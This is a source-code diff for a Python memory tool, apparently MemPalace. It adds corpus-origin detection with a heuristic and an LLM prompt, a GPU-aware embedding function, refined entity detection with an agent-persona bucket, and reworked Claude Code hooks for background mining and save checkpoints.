confidence — 0.0 to 1.0
primary_platform — e.g. "Claude Code (Anthropic CLI)" or None
user_name — the corpus author's name if identifiable from context, else None
agent_persona_names — names the user has assigned to the AI agent(s)
(e.g. ["Echo", "Sparrow"]). Does NOT include the user's own name.
evidence — human-readable reasons for the classification
"""
likely_ai_dialogue: bool
confidence: float
primary_platform: Optional[str]
user_name: Optional[str] = None
agent_persona_names: list[str] = field(default_factory=list)
evidence: list[str] = field(default_factory=list)
def to_dict(self) -> dict:
return asdict(self)
# ── Tier 1: cheap heuristic ───────────────────────────────────────────────
def detect_origin_heuristic(samples: list[str]) -> CorpusOriginResult:
"""Fast grep-based detection. No API calls.
Scores AI-dialogue likelihood by counting:
- occurrences of well-known AI brand terms
- turn-marker patterns (user:, assistant:, etc.)
Returns a CorpusOriginResult with confidence derived from signal density.
"""
combined = "\n\n".join(samples)
total_chars = max(1, len(combined))
# Count UNAMBIGUOUS brand-term hits (case-insensitive — users type
# lowercase constantly, so 'chatgpt' must trip the same as 'ChatGPT').
# Word boundaries prevent false in-word matches (see _brand_pattern).
unambiguous_hits: dict[str, int] = {}
total_unambiguous = 0
for term in _AI_UNAMBIGUOUS_TERMS:
matches = re.findall(_brand_pattern(term), combined, re.IGNORECASE)
if matches:
unambiguous_hits[term] = len(matches)
total_unambiguous += len(matches)
# Count AMBIGUOUS brand-term hits separately. These will only be
# counted toward AI-dialogue evidence if the corpus also contains
# at least one unambiguous AI signal — see co-occurrence rule below.
ambiguous_hits: dict[str, int] = {}
total_ambiguous = 0
for term in _AI_AMBIGUOUS_TERMS:
matches = re.findall(_brand_pattern(term), combined, re.IGNORECASE)
if matches:
ambiguous_hits[term] = len(matches)
total_ambiguous += len(matches)
# Count turn-marker hits (case-insensitive — transcripts vary).
turn_hits = 0
turn_types_found = set()
for pattern in _TURN_MARKERS:
matches = re.findall(pattern, combined, re.IGNORECASE)
if matches:
turn_hits += len(matches)
turn_types_found.add(pattern)
# Co-occurrence rule for ambiguous terms.
# Ambiguous terms (e.g. 'Claude' as a French name, 'Gemini' as a zodiac
# sign, 'Haiku' as a poem form) only count toward brand evidence if
# the corpus also contains at least one unambiguous AI signal. Otherwise
# we'd false-positive on French novels, astrology forums, poetry corpora,
# llama-rancher journals, etc.
has_ai_context = total_unambiguous > 0 or turn_hits > 0
counted_brand_hits = total_unambiguous + (total_ambiguous if has_ai_context else 0)
# Brand-term density per 1000 chars; turn-marker density likewise.
# Tuned on a small set of examples; these aren't magic numbers and
# can be revisited as we see more corpora.
brand_density = counted_brand_hits / (total_chars / 1000)
turn_density = turn_hits / (total_chars / 1000)
# Build evidence list
evidence: list[str] = []
shown_hits = dict(unambiguous_hits)
if has_ai_context:
shown_hits.update(ambiguous_hits)
if shown_hits:
top_terms = sorted(shown_hits.items(), key=lambda x: -x[1])[:5]
evidence.append("AI brand terms: " + ", ".join(f"'{k}' ({v}x)" for k, v in top_terms))
elif ambiguous_hits and not has_ai_context:
# Be transparent that we saw ambiguous matches but suppressed them
# for lack of co-occurring AI context.
suppressed = sorted(ambiguous_hits.items(), key=lambda x: -x[1])[:3]
evidence.append(
"Ambiguous terms present but suppressed (no co-occurring AI signal): "
+ ", ".join(f"'{k}' ({v}x)" for k, v in suppressed)
)
if turn_hits:
evidence.append(
f"Turn markers detected: {turn_hits} occurrences across {len(turn_types_found)} pattern types"
)
# Decision logic:
# strong signal (brand OR turn hits both >= threshold) → confident AI-dialogue
# MEANINGFUL absence (enough text, zero brand, zero turn) → confident narrative
# ambiguous or insufficient text → default stance: AI-dialogue with low confidence
#
# Threshold for "meaningful absence": the samples collectively have to
# be long enough that the absence of AI signals would be expected to
# surface if the corpus really is narrative. 150 chars is the working
# floor — below that, we cannot confidently say "this is narrative."
MEANINGFUL_TEXT_FLOOR = 150
if brand_density >= 0.5 or turn_density >= 2.0:
return CorpusOriginResult(
likely_ai_dialogue=True,
confidence=min(0.95, 0.6 + 0.1 * (brand_density + turn_density)),
primary_platform=None, # tier 2 will refine
evidence=evidence,
)
if counted_brand_hits == 0 and turn_hits == 0 and total_chars >= MEANINGFUL_TEXT_FLOOR:
# Note: ambiguous-only matches (e.g. a French novel with 'Claude' as
# a character name) flow through here because counted_brand_hits == 0
# when no unambiguous AI signal co-occurs. The 'evidence' list still
# records that the ambiguous matches were seen and suppressed.
narrative_evidence = list(evidence) + [
f"no unambiguous AI signal across {total_chars} chars of text — pure narrative"
]
return CorpusOriginResult(
likely_ai_dialogue=False,
confidence=0.9,
primary_platform=None,
evidence=narrative_evidence,
)
# Ambiguous or too-short-to-tell case: default stance is AI-dialogue
# with explicit low confidence. Tier 2 (LLM) should be called to confirm.
reason = "weak signal" if (counted_brand_hits or turn_hits) else "insufficient text"
return CorpusOriginResult(
likely_ai_dialogue=True,
confidence=0.4,
primary_platform=None,
evidence=evidence
+ [
f"{reason} — applying default-stance (ai_dialogue=True, low confidence). "
"Tier 2 LLM check recommended to confirm or override."
],
)
# ── Tier 2: LLM-assisted confirmation + persona extraction ────────────────
_SYSTEM_PROMPT = """You are analyzing a corpus of text to determine whether it is a \
record of conversations with an AI agent (e.g. Claude, ChatGPT, Gemini, custom LLM \
apps), or some other kind of text (personal narrative, story, research notes, \
journal, code, etc.).
Use your pre-existing knowledge of well-known AI platforms. You don't need the \
corpus to explain what Claude or ChatGPT is — you already know. Your job is to \
detect evidence of their presence and identify what persona-names the user has \
assigned to the agent(s) they converse with.
CRITICAL distinction:
- agent_persona_names are names the USER has assigned to the AI AGENT(S)
they converse with. Example: "Echo", "Sparrow", "Henry" might be names
the user calls a Claude instance they're building a relationship with.
- Do NOT include the USER's own name in agent_persona_names. The user
is the human author of the corpus, not a persona of the agent. Even
if the user's name appears frequently in the text (writing about
themselves), that is NOT an agent persona.
- If you can identify the user's name from context, put it in user_name
(separate field). If unclear, leave user_name null.
Respond with JSON only (no prose before or after):
{
"is_ai_dialogue_corpus": <true|false>,
"confidence": <0.0 to 1.0>,
"primary_platform": <"Claude (Anthropic)" | "ChatGPT (OpenAI)" | "Gemini (Google)" | other platform name | null>,
"user_name": <user's name if clearly identifiable from context, else null>,
"agent_persona_names": [<names the user has assigned to the AI AGENT(S), NOT the user's own name>],
"evidence": [<short bullet strings explaining the decision>]
}
Default stance: if evidence is thin or mixed, return is_ai_dialogue_corpus=true \
with low confidence. False-negatives on AI-dialogue detection break downstream \
classification; false-positives are recoverable later.
"""
def _extract_json(text: str) -> Optional[dict]:
"""Pull the first JSON object out of a possibly-messy LLM response."""
text = text.strip()
if not text:
return None
# Try straight parse first
try:
return json.loads(text)
except json.JSONDecodeError:
pass
# Try to find a {...} block
start = text.find("{")
if start < 0:
return None
depth = 0
in_string = False
escape = False
for i in range(start, len(text)):
ch = text[i]
if in_string:
if escape:
escape = False
elif ch == "\\":
escape = True
elif ch == '"':
in_string = False
continue
if ch == '"':
in_string = True
elif ch == "{":
depth += 1
elif ch == "}":
depth -= 1
if depth == 0:
candidate = text[start : i + 1]
try:
return json.loads(candidate)
except json.JSONDecodeError:
return None
return None
def detect_origin_llm(samples: list[str], provider) -> CorpusOriginResult:
"""LLM-assisted detection. Takes samples (list of drawer-text excerpts)
and an LLMProvider (mempalace.llm_client.LLMProvider). Returns the
same CorpusOriginResult shape as the heuristic.
Falls back conservatively (default-stance ai=True, low confidence)
on any LLM error or malformed response — never raises.
"""
# Build the user prompt: concise excerpts, capped so we stay cheap
max_excerpt_chars = 800
excerpts = "\n\n---\n\n".join(
f"[sample {i + 1}]\n{s[:max_excerpt_chars]}" for i, s in enumerate(samples[:20])
)
user_prompt = f"CORPUS EXCERPTS:\n\n{excerpts}\n\nAnalyze and respond with JSON."
try:
resp = provider.classify(system=_SYSTEM_PROMPT, user=user_prompt, json_mode=True)
raw = getattr(resp, "text", "") or ""
except Exception as e:
return CorpusOriginResult(
likely_ai_dialogue=True,
confidence=0.3,
primary_platform=None,
evidence=[f"LLM provider error (fallback to default stance): {e}"],
)
parsed = _extract_json(raw)
if not parsed or not isinstance(parsed, dict):
return CorpusOriginResult(
likely_ai_dialogue=True,
confidence=0.3,
primary_platform=None,
evidence=["LLM response was not valid JSON (fallback to default stance)"],
)
# Pull fields defensively. If the LLM leaked the user_name into
# agent_persona_names despite the prompt telling it not to, filter it out.
user_name = parsed.get("user_name") or None
personas = list(parsed.get("agent_persona_names") or [])
if user_name:
personas = [p for p in personas if p.lower() != user_name.lower()]
return CorpusOriginResult(
likely_ai_dialogue=bool(parsed.get("is_ai_dialogue_corpus", True)),
confidence=float(parsed.get("confidence", 0.5)),
primary_platform=parsed.get("primary_platform") or None,
user_name=user_name,
agent_persona_names=personas,
evidence=list(parsed.get("evidence") or []),
)
+155
View File
@@ -0,0 +1,155 @@
"""Embedding function factory with hardware acceleration.
Returns a ChromaDB-compatible embedding function bound to a user-selected
ONNX Runtime execution provider. The same ``all-MiniLM-L6-v2`` model and
384-dim vectors ChromaDB ships by default are reused, so switching device
does not invalidate existing palaces.
Supported devices (env ``MEMPALACE_EMBEDDING_DEVICE`` or ``embedding_device``
in ``~/.mempalace/config.json``):
* ``auto`` — prefer CUDA ▸ CoreML ▸ DirectML, fall back to CPU
* ``cpu`` — force CPU (the historical default)
* ``cuda`` — NVIDIA GPU via ``onnxruntime-gpu`` (``pip install mempalace[gpu]``)
* ``coreml`` — Apple Neural Engine (macOS)
* ``dml`` — DirectML (Windows / AMD / Intel GPUs)
Requesting an unavailable accelerator emits a warning and falls back to CPU
rather than hard-failing — mining must still work on a laptop without CUDA.
"""
from __future__ import annotations
import logging
from typing import Optional
logger = logging.getLogger(__name__)
_PROVIDER_MAP = {
"cpu": ["CPUExecutionProvider"],
"cuda": ["CUDAExecutionProvider", "CPUExecutionProvider"],
"coreml": ["CoreMLExecutionProvider", "CPUExecutionProvider"],
"dml": ["DmlExecutionProvider", "CPUExecutionProvider"],
}
_DEVICE_EXTRA = {
"cuda": "mempalace[gpu]",
"coreml": "mempalace[coreml]",
"dml": "mempalace[dml]",
}
_AUTO_ORDER = [
("CUDAExecutionProvider", "cuda"),
("CoreMLExecutionProvider", "coreml"),
("DmlExecutionProvider", "dml"),
]
_EF_CACHE: dict = {}
_WARNED: set = set()
def _resolve_providers(device: str) -> tuple[list, str]:
"""Return ``(provider_list, effective_device)`` for ``device``.
Falls back to CPU (with a one-shot warning) when the requested
accelerator is not compiled into the installed ``onnxruntime``.
"""
device = (device or "auto").strip().lower()
try:
import onnxruntime as ort
available = set(ort.get_available_providers())
except ImportError:
return (["CPUExecutionProvider"], "cpu")
if device == "auto":
for provider, name in _AUTO_ORDER:
if provider in available:
return ([provider, "CPUExecutionProvider"], name)
return (["CPUExecutionProvider"], "cpu")
requested = _PROVIDER_MAP.get(device)
if requested is None:
if device not in _WARNED:
logger.warning("Unknown embedding_device %r — falling back to cpu", device)
_WARNED.add(device)
return (["CPUExecutionProvider"], "cpu")
preferred = requested[0]
if preferred == "CPUExecutionProvider":
return (requested, "cpu")
if preferred not in available:
if device not in _WARNED:
extra = _DEVICE_EXTRA.get(device, "the matching mempalace extra for your device")
logger.warning(
"embedding_device=%r requested but %s is not installed — "
"falling back to CPU. Install %s.",
device,
preferred,
extra,
)
_WARNED.add(device)
return (["CPUExecutionProvider"], "cpu")
return (requested, device)
def _build_ef_class():
"""Subclass ``ONNXMiniLM_L6_V2`` with name ``"default"``.
Why the rename: ChromaDB 1.5 persists the EF identity on the collection
and rejects reads that pass a differently-named EF (``onnx_mini_lm_l6_v2``
vs ``default``). The vectors and model are identical — only the
``name()`` tag differs — so spoofing the name lets one EF class serve
palaces created with ``DefaultEmbeddingFunction`` *and* palaces we
create ourselves, with the same GPU-capable ``preferred_providers``.
"""
from chromadb.utils.embedding_functions import ONNXMiniLM_L6_V2
class _MempalaceONNX(ONNXMiniLM_L6_V2):
@staticmethod
def name() -> str:
return "default"
return _MempalaceONNX
def get_embedding_function(device: Optional[str] = None):
"""Return a cached embedding function bound to the requested device.
``device=None`` reads from :class:`MempalaceConfig.embedding_device`.
The returned function is shared across calls with the same resolved
provider list so we only pay model-load cost once per process.
"""
if device is None:
from .config import MempalaceConfig
device = MempalaceConfig().embedding_device
providers, effective = _resolve_providers(device)
cache_key = tuple(providers)
cached = _EF_CACHE.get(cache_key)
if cached is not None:
return cached
ef_cls = _build_ef_class()
ef = ef_cls(preferred_providers=providers)
_EF_CACHE[cache_key] = ef
logger.info("Embedding function initialized (device=%s providers=%s)", effective, providers)
return ef
def describe_device(device: Optional[str] = None) -> str:
"""Return a short human-readable label for the resolved device.
Used by the miner CLI header so users can see at a glance whether GPU
acceleration actually engaged.
"""
if device is None:
from .config import MempalaceConfig
device = MempalaceConfig().embedding_device
_, effective = _resolve_providers(device)
return effective
+161 -17
View File
@@ -2,6 +2,9 @@
"""
entity_detector.py — Auto-detect people and projects from file content.
Uses ``from __future__ import annotations`` so PEP 604 union syntax
(``dict | None``) works on the Python 3.9 baseline.
Two-pass approach:
Pass 1: scan files, extract entity candidates with signal counts
Pass 2: score and classify each candidate as person, project, or uncertain
@@ -27,6 +30,8 @@ Usage:
confirmed = confirm_entities(candidates) # interactive review
"""
from __future__ import annotations
import re
import os
import functools
@@ -113,6 +118,23 @@ SKIP_DIRS = {
".next",
"coverage",
".mempalace",
".terraform",
"vendor",
"target",
}
# Files whose content is boilerplate prose — poisons entity detection.
# Matched by stem (case-insensitive), with or without an extension.
SKIP_FILENAMES = {
"license",
"licence",
"copying",
"copyright",
"notice",
"authors",
"patents",
"third_party_notices",
"third-party-notices",
}
@@ -193,7 +215,7 @@ def _build_patterns(name: str, languages: tuple = ("en",)) -> dict:
"person_verbs": _compile_each(sources["person_verb_patterns"]),
"project_verbs": _compile_each(sources["project_verb_patterns"]),
"direct": direct_compiled,
"versioned": re.compile(rf"\b{n}[-v]\w+", re.IGNORECASE),
"versioned": re.compile(rf"\b{n}[-_]v?\d+(?:\.\d+)*\b", re.IGNORECASE),
"code_ref": re.compile(rf"\b{n}\.(py|js|ts|yaml|yml|json|sh)\b", re.IGNORECASE),
}
@@ -227,12 +249,19 @@ def score_entity(name: str, text: str, lines: list, languages=("en",)) -> dict:
# --- Person signals ---
# Dialogue markers (strong signal)
# Dialogue markers (strong signal).
# The bare `^NAME:\s` colon-prefix pattern matches metadata lines like
# `Created: 2026-04-21`, so we require >= 2 hits for it to count as dialogue
# (real speaker markers repeat; single-line metadata doesn't).
for rx in patterns["dialogue"]:
matches = len(rx.findall(text))
if matches > 0:
person_score += matches * 3
person_signals.append(f"dialogue marker ({matches}x)")
if matches == 0:
continue
is_bare_colon = rx.pattern.endswith(r":\s") and not rx.pattern.endswith(r"[:\s]")
if is_bare_colon and matches < 2:
continue
person_score += matches * 3
person_signals.append(f"dialogue marker ({matches}x)")
# Person verbs
for rx in patterns["person_verbs"]:
@@ -328,17 +357,28 @@ def classify_entity(name: str, frequency: int, scores: dict) -> dict:
signal_categories.add("addressed")
has_two_signal_types = len(signal_categories) >= 2
_ = signal_categories - {"pronoun"} # reserved for future thresholds
# Single-category pronoun signal still classifies as person when the
# evidence is overwhelming — a diary's main character is referenced
# with pronouns, not dialogue markers. Require both: many pronoun hits
# AND a high pronoun-to-frequency ratio so common sentence-start words
# (Never, Before, etc.) with incidental pronoun proximity don't qualify.
pronoun_hits = 0
for s in scores["person_signals"]:
m = re.search(r"pronoun nearby \((\d+)x\)", s)
if m:
pronoun_hits = int(m.group(1))
break
strong_pronoun_signal = pronoun_hits >= 5 and frequency > 0 and pronoun_hits / frequency >= 0.2
if person_ratio >= 0.7 and has_two_signal_types and ps >= 5:
if person_ratio >= 0.7 and (has_two_signal_types and ps >= 5 or strong_pronoun_signal):
entity_type = "person"
confidence = min(0.99, 0.5 + person_ratio * 0.5)
signals = scores["person_signals"] or [f"appears {frequency}x"]
elif person_ratio >= 0.7 and (not has_two_signal_types or ps < 5):
# Pronoun-only match — downgrade to uncertain
elif person_ratio >= 0.7:
# Weak single-category person signal — downgrade to uncertain
entity_type = "uncertain"
confidence = 0.4
signals = scores["person_signals"] + [f"appears {frequency}x — pronoun-only match"]
signals = scores["person_signals"] + [f"appears {frequency}x — weak person signal"]
elif person_ratio <= 0.3:
entity_type = "project"
confidence = min(0.99, 0.5 + (1 - person_ratio) * 0.5)
@@ -361,7 +401,12 @@ def classify_entity(name: str, frequency: int, scores: dict) -> dict:
# ==================== MAIN DETECT ====================
def detect_entities(file_paths: list, max_files: int = 10, languages=("en",)) -> dict:
def detect_entities(
file_paths: list,
max_files: int = 10,
languages=("en",),
corpus_origin: dict | None = None,
) -> dict:
"""
Scan files and detect entity candidates.
@@ -370,12 +415,24 @@ def detect_entities(file_paths: list, max_files: int = 10, languages=("en",)) ->
max_files: Max files to read (for speed)
languages: Tuple of language codes whose entity patterns should be
applied (union). Defaults to ``("en",)``.
corpus_origin: Optional corpus-origin context (the dict produced
by ``mempalace.corpus_origin`` and persisted to
``<palace>/.mempalace/origin.json`` by ``mempalace init``).
When supplied and the corpus is identified as AI-dialogue with
known agent persona names, candidates whose name matches an
agent persona are moved out of ``people``/``uncertain`` and
into a new ``agent_personas`` bucket. Shape:
``{"schema_version": 1, "result": {"agent_persona_names": [...], ...}}``.
Returns:
{
"people": [...entity dicts...],
"projects": [...entity dicts...],
"topics": [...entity dicts...],
"uncertain":[...entity dicts...],
# Only present when corpus_origin reclassifies at least one
# candidate as an agent persona:
"agent_personas": [...entity dicts...],
}
"""
langs = _normalize_langs(languages)
@@ -405,7 +462,10 @@ def detect_entities(file_paths: list, max_files: int = 10, languages=("en",)) ->
candidates = extract_candidates(combined_text, languages=langs)
if not candidates:
return {"people": [], "projects": [], "uncertain": []}
return _apply_corpus_origin(
{"people": [], "projects": [], "topics": [], "uncertain": []},
corpus_origin,
)
# Score and classify each candidate
people = []
@@ -428,13 +488,76 @@ def detect_entities(file_paths: list, max_files: int = 10, languages=("en",)) ->
projects.sort(key=lambda x: x["confidence"], reverse=True)
uncertain.sort(key=lambda x: x["frequency"], reverse=True)
# Cap results to most relevant
return {
detected = {
"people": people[:15],
"projects": projects[:10],
"topics": [],
"uncertain": uncertain[:8],
}
return _apply_corpus_origin(detected, corpus_origin)
def _apply_corpus_origin(detected: dict, corpus_origin: dict | None) -> dict:
"""Reclassify per-candidate buckets using corpus-origin context.
When the corpus is identified as AI-dialogue with known agent persona
names, a candidate whose name case-insensitively matches one of those
personas is moved from ``people``/``uncertain`` into an
``agent_personas`` bucket. The candidate's per-entity ``type`` is also
rewritten to ``"agent_persona"``.
No-op when ``corpus_origin`` is ``None`` or contains no usable persona
names. Pure: returns a new dict, does not mutate the input.
"""
if not corpus_origin:
return detected
origin_result = corpus_origin.get("result") or {}
raw_personas = origin_result.get("agent_persona_names") or []
persona_lower = {n.lower() for n in raw_personas if isinstance(n, str)}
if not persona_lower:
return detected
agent_personas: list = []
new_people: list = []
new_uncertain: list = []
for entity in detected.get("people", []):
if entity["name"].lower() in persona_lower:
agent_personas.append(_tag_as_persona(entity))
else:
new_people.append(entity)
for entity in detected.get("uncertain", []):
if entity["name"].lower() in persona_lower:
agent_personas.append(_tag_as_persona(entity))
else:
new_uncertain.append(entity)
if not agent_personas:
return detected
agent_personas.sort(key=lambda x: x.get("confidence", 0), reverse=True)
return {
**detected,
"people": new_people,
"uncertain": new_uncertain,
"agent_personas": agent_personas,
}
def _tag_as_persona(entity: dict) -> dict:
"""Return a new entity dict tagged as agent_persona with provenance signal."""
existing_signals = entity.get("signals", [])
return {
**entity,
"type": "agent_persona",
"confidence": max(0.95, entity.get("confidence", 0.0)),
"signals": ["matched corpus_origin agent_persona_names"] + existing_signals[:2],
}
# ==================== INTERACTIVE CONFIRM ====================
@@ -454,7 +577,13 @@ def confirm_entities(detected: dict, yes: bool = False) -> dict:
"""
Interactive confirmation step.
User reviews detected entities, removes wrong ones, adds missing ones.
Returns confirmed {people: [names], projects: [names]}
Returns confirmed {people: [names], projects: [names], topics: [names]}.
Topics are not surfaced for interactive review — they come from the
LLM-refined ``TOPIC`` bucket and are passed through verbatim. They
feed cross-wing tunnel computation at mine time (see
``palace_graph.compute_topic_tunnels``); a wrong topic at worst adds
a low-traffic tunnel and never alters drawer storage.
Pass yes=True to auto-accept all detected entities without prompting.
"""
@@ -466,18 +595,28 @@ def confirm_entities(detected: dict, yes: bool = False) -> dict:
_print_entity_list(detected["people"], "PEOPLE")
_print_entity_list(detected["projects"], "PROJECTS")
if detected.get("topics"):
_print_entity_list(detected["topics"], "TOPICS (cross-wing tunnel signal)")
if detected["uncertain"]:
_print_entity_list(detected["uncertain"], "UNCERTAIN (need your call)")
confirmed_people = [e["name"] for e in detected["people"]]
confirmed_projects = [e["name"] for e in detected["projects"]]
confirmed_topics = [e["name"] for e in detected.get("topics", [])]
if yes:
# Auto-accept: include all detected (skip uncertain — ambiguous without user input)
print(
f"\n Auto-accepting {len(confirmed_people)} people, {len(confirmed_projects)} projects."
f"\n Auto-accepting {len(confirmed_people)} people, "
f"{len(confirmed_projects)} projects, "
f"{len(confirmed_topics)} topics."
)
return {"people": confirmed_people, "projects": confirmed_projects}
return {
"people": confirmed_people,
"projects": confirmed_projects,
"topics": confirmed_topics,
}
print(f"\n{'─' * 58}")
print(" Options:")
@@ -535,11 +674,14 @@ def confirm_entities(detected: dict, yes: bool = False) -> dict:
print(" Confirmed:")
print(f" People: {', '.join(confirmed_people) or '(none)'}")
print(f" Projects: {', '.join(confirmed_projects) or '(none)'}")
if confirmed_topics:
print(f" Topics: {', '.join(confirmed_topics)}")
print(f"{'=' * 58}\n")
return {
"people": confirmed_people,
"projects": confirmed_projects,
"topics": confirmed_topics,
}
@@ -560,6 +702,8 @@ def scan_for_detection(project_dir: str, max_files: int = 10) -> list:
dirs[:] = [d for d in dirs if d not in SKIP_DIRS]
for filename in filenames:
filepath = Path(root) / filename
if filepath.stem.lower() in SKIP_FILENAMES:
continue
ext = filepath.suffix.lower()
if ext in PROSE_EXTENSIONS:
prose_files.append(filepath)
+473 -58
View File
@@ -17,22 +17,54 @@ from pathlib import Path
SAVE_INTERVAL = 15
STATE_DIR = Path.home() / ".mempalace" / "hook_state"
def _mempalace_python() -> str:
"""Return the python interpreter that has mempalace installed.
When hooks are invoked by Claude Code, sys.executable may be the system
python which lacks chromadb and other deps. Resolution order:
1. MEMPALACE_PYTHON env var (explicit override)
2. Venv python from package install path
3. Editable install: venv/ sibling to mempalace/
4. sys.executable fallback
"""
# Honor explicit override (used by shell hook wrappers)
env_python = os.environ.get("MEMPALACE_PYTHON", "")
if env_python and os.path.isfile(env_python) and os.access(env_python, os.X_OK):
return env_python
# This file lives at <venv>/lib/pythonX.Y/site-packages/mempalace/hooks_cli.py
# or <project>/mempalace/hooks_cli.py (editable install).
venv_bin = Path(__file__).resolve().parents[3] / "bin" / "python"
if venv_bin.is_file():
return str(venv_bin)
# Editable install: assumes project root has a venv/ sibling to mempalace/
project_venv = Path(__file__).resolve().parents[1] / "venv" / "bin" / "python"
if project_venv.is_file():
return str(project_venv)
return sys.executable
_RECENT_MSG_COUNT = 30 # how many recent user messages to summarize
STOP_BLOCK_REASON = (
"AUTO-SAVE checkpoint (MemPalace). Save this session's key content:\n"
"1. mempalace_diary_write — AAAK-compressed session summary\n"
"2. mempalace_add_drawer — verbatim quotes, decisions, code snippets\n"
"1. mempalace_diary_write — session summary (what was discussed, "
"key decisions, current state of work)\n"
"2. mempalace_add_drawer — verbatim quotes, decisions, code snippets "
"(place in appropriate wing and room)\n"
"3. mempalace_kg_add — entity relationships (optional)\n"
"Do NOT write to Claude Code's native auto-memory (.md files). "
"Continue conversation after saving."
"For THIS save, use MemPalace MCP tools only (not auto-memory .md files). "
"Use verbatim quotes where possible. Continue conversation after saving."
)
PRECOMPACT_BLOCK_REASON = (
"COMPACTION IMMINENT (MemPalace). Save ALL session content before context is lost:\n"
"1. mempalace_diary_write — thorough AAAK-compressed session summary\n"
"2. mempalace_add_drawer — ALL verbatim quotes, decisions, code, context\n"
"1. mempalace_diary_write — thorough session summary\n"
"2. mempalace_add_drawer — ALL verbatim quotes, decisions, code, context "
"(place each in appropriate wing and room)\n"
"3. mempalace_kg_add — entity relationships (optional)\n"
"Be thorough \u2014 after compaction, detailed context will be lost. "
"Do NOT write to Claude Code's native auto-memory (.md files). "
"For THIS save, use MemPalace MCP tools only (not auto-memory .md files). "
"Be thorough — after compaction this is all that survives. "
"Save everything to MemPalace, then allow compaction to proceed."
)
@@ -134,56 +166,337 @@ def _log(message: str):
def _output(data: dict):
"""Print JSON to stdout with consistent formatting (pretty-printed)."""
print(json.dumps(data, indent=2, ensure_ascii=False))
"""Print JSON to stdout without importing modules that may redirect streams.
If mempalace.mcp_server is already loaded, reuse its saved real stdout fd.
Otherwise, write directly to fd 1 so hook responses still go to stdout even
if sys.stdout has been redirected elsewhere.
"""
payload = (json.dumps(data, indent=2, ensure_ascii=False) + "\n").encode("utf-8")
def _get_mine_dir(transcript_path: str = "") -> str:
"""Determine directory to mine from MEMPAL_DIR or transcript path."""
mempal_dir = os.environ.get("MEMPAL_DIR", "")
if mempal_dir and os.path.isdir(mempal_dir):
return mempal_dir
if transcript_path:
path = Path(transcript_path).expanduser()
if path.is_file():
return str(path.parent)
return ""
real_stdout_fd: int | None = None
mcp_mod = sys.modules.get("mempalace.mcp_server") or sys.modules.get(
f"{__package__}.mcp_server" if __package__ else "mcp_server"
)
if mcp_mod is not None:
real_stdout_fd = getattr(mcp_mod, "_REAL_STDOUT_FD", None)
def _maybe_auto_ingest(transcript_path: str = ""):
"""Run mempalace mine in background if a mine directory is available."""
mine_dir = _get_mine_dir(transcript_path)
if not mine_dir:
return
fd = real_stdout_fd if real_stdout_fd is not None else 1
offset = 0
try:
STATE_DIR.mkdir(parents=True, exist_ok=True)
log_path = STATE_DIR / "hook.log"
with open(log_path, "a") as log_f:
subprocess.Popen(
[sys.executable, "-m", "mempalace", "mine", mine_dir],
stdout=log_f,
stderr=log_f,
)
while offset < len(payload):
try:
offset += os.write(fd, payload[offset:])
except InterruptedError:
continue
return
except OSError:
pass
sys.stdout.buffer.write(payload)
sys.stdout.buffer.flush()
def _get_mine_targets() -> list[tuple[str, str]]:
"""Return the list of ``(dir, mode)`` targets for auto-ingest.
MEMPAL_DIR (when set and resolvable) contributes a ``"projects"``
target. Transcript ingestion is handled separately by
``_ingest_transcript`` — emitting it here too would double-mine the
same JSONL into a different wing on every hook fire (#1231 review).
An empty list means no MEMPAL_DIR ingest should run.
"""
targets: list[tuple[str, str]] = []
mempal_dir = os.environ.get("MEMPAL_DIR", "")
if mempal_dir:
resolved = Path(mempal_dir).expanduser().resolve()
if resolved.is_dir():
targets.append((str(resolved), "projects"))
return targets
_MINE_PID_FILE = STATE_DIR / "mine.pid"
def _pid_alive(pid: int) -> bool:
"""Cross-platform existence check for a PID.
On POSIX, ``os.kill(pid, 0)`` is the well-known no-op existence probe.
On Windows, ``os.kill`` maps to ``TerminateProcess(handle, sig)`` and
would *terminate* the target process with exit code ``sig`` — using
it here would kill our own mine child (or worse, the caller itself).
Use ``OpenProcess`` + ``GetExitCodeProcess`` via ctypes instead.
"""
if sys.platform == "win32":
import ctypes
from ctypes import wintypes
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
STILL_ACTIVE = 259
kernel32 = ctypes.windll.kernel32
handle = kernel32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
if not handle:
return False
try:
code = wintypes.DWORD()
if not kernel32.GetExitCodeProcess(handle, ctypes.byref(code)):
return False
return code.value == STILL_ACTIVE
finally:
kernel32.CloseHandle(handle)
try:
os.kill(pid, 0)
return True
except (OSError, ValueError):
return False
def _mine_already_running() -> bool:
"""Return True if a background mine process from a previous hook fire is still alive."""
try:
pid = int(_MINE_PID_FILE.read_text().strip())
except (OSError, ValueError):
return False
return _pid_alive(pid)
def _spawn_mine(cmd: list) -> None:
"""Spawn a mine subprocess, write its PID to the lock file, log to hook.log."""
STATE_DIR.mkdir(parents=True, exist_ok=True)
log_path = STATE_DIR / "hook.log"
with open(log_path, "a") as log_f:
proc = subprocess.Popen(cmd, stdout=log_f, stderr=log_f)
_MINE_PID_FILE.write_text(str(proc.pid))
def _maybe_auto_ingest():
"""Background-mine MEMPAL_DIR (project files) if set.
Transcript convos are ingested separately via ``_ingest_transcript``
in the hook handlers — this function does not handle them, to avoid
asymmetric interpreter handling and PID-file overwrite when both
targets fire from a single hook call (#1231 review).
"""
targets = _get_mine_targets()
if not targets:
return
if _mine_already_running():
_log("Skipping auto-ingest: mine already running")
return
for mine_dir, mode in targets:
try:
_spawn_mine([_mempalace_python(), "-m", "mempalace", "mine", mine_dir, "--mode", mode])
except OSError:
pass
def _mine_sync():
"""Synchronously mine MEMPAL_DIR (precompact path).
Transcript convos are ingested separately via ``_ingest_transcript``
in ``hook_precompact`` — keeping them out of this function avoids
timeout stacking against the harness 30s ceiling (#1231 review).
"""
targets = _get_mine_targets()
if not targets:
return
STATE_DIR.mkdir(parents=True, exist_ok=True)
log_path = STATE_DIR / "hook.log"
for mine_dir, mode in targets:
try:
with open(log_path, "a") as log_f:
subprocess.run(
[
_mempalace_python(),
"-m",
"mempalace",
"mine",
mine_dir,
"--mode",
mode,
],
stdout=log_f,
stderr=log_f,
timeout=60,
)
except (OSError, subprocess.TimeoutExpired):
pass
def _desktop_toast(body: str, title: str = "MemPalace"):
"""Send a desktop notification via notify-send. Fails silently."""
try:
subprocess.Popen(
["notify-send", "--app-name=MemPalace", "--icon=brain", title, body],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
except OSError:
pass
def _mine_sync(transcript_path: str = ""):
"""Run mempalace mine synchronously (for precompact -- data must land first)."""
mine_dir = _get_mine_dir(transcript_path)
if not mine_dir:
return
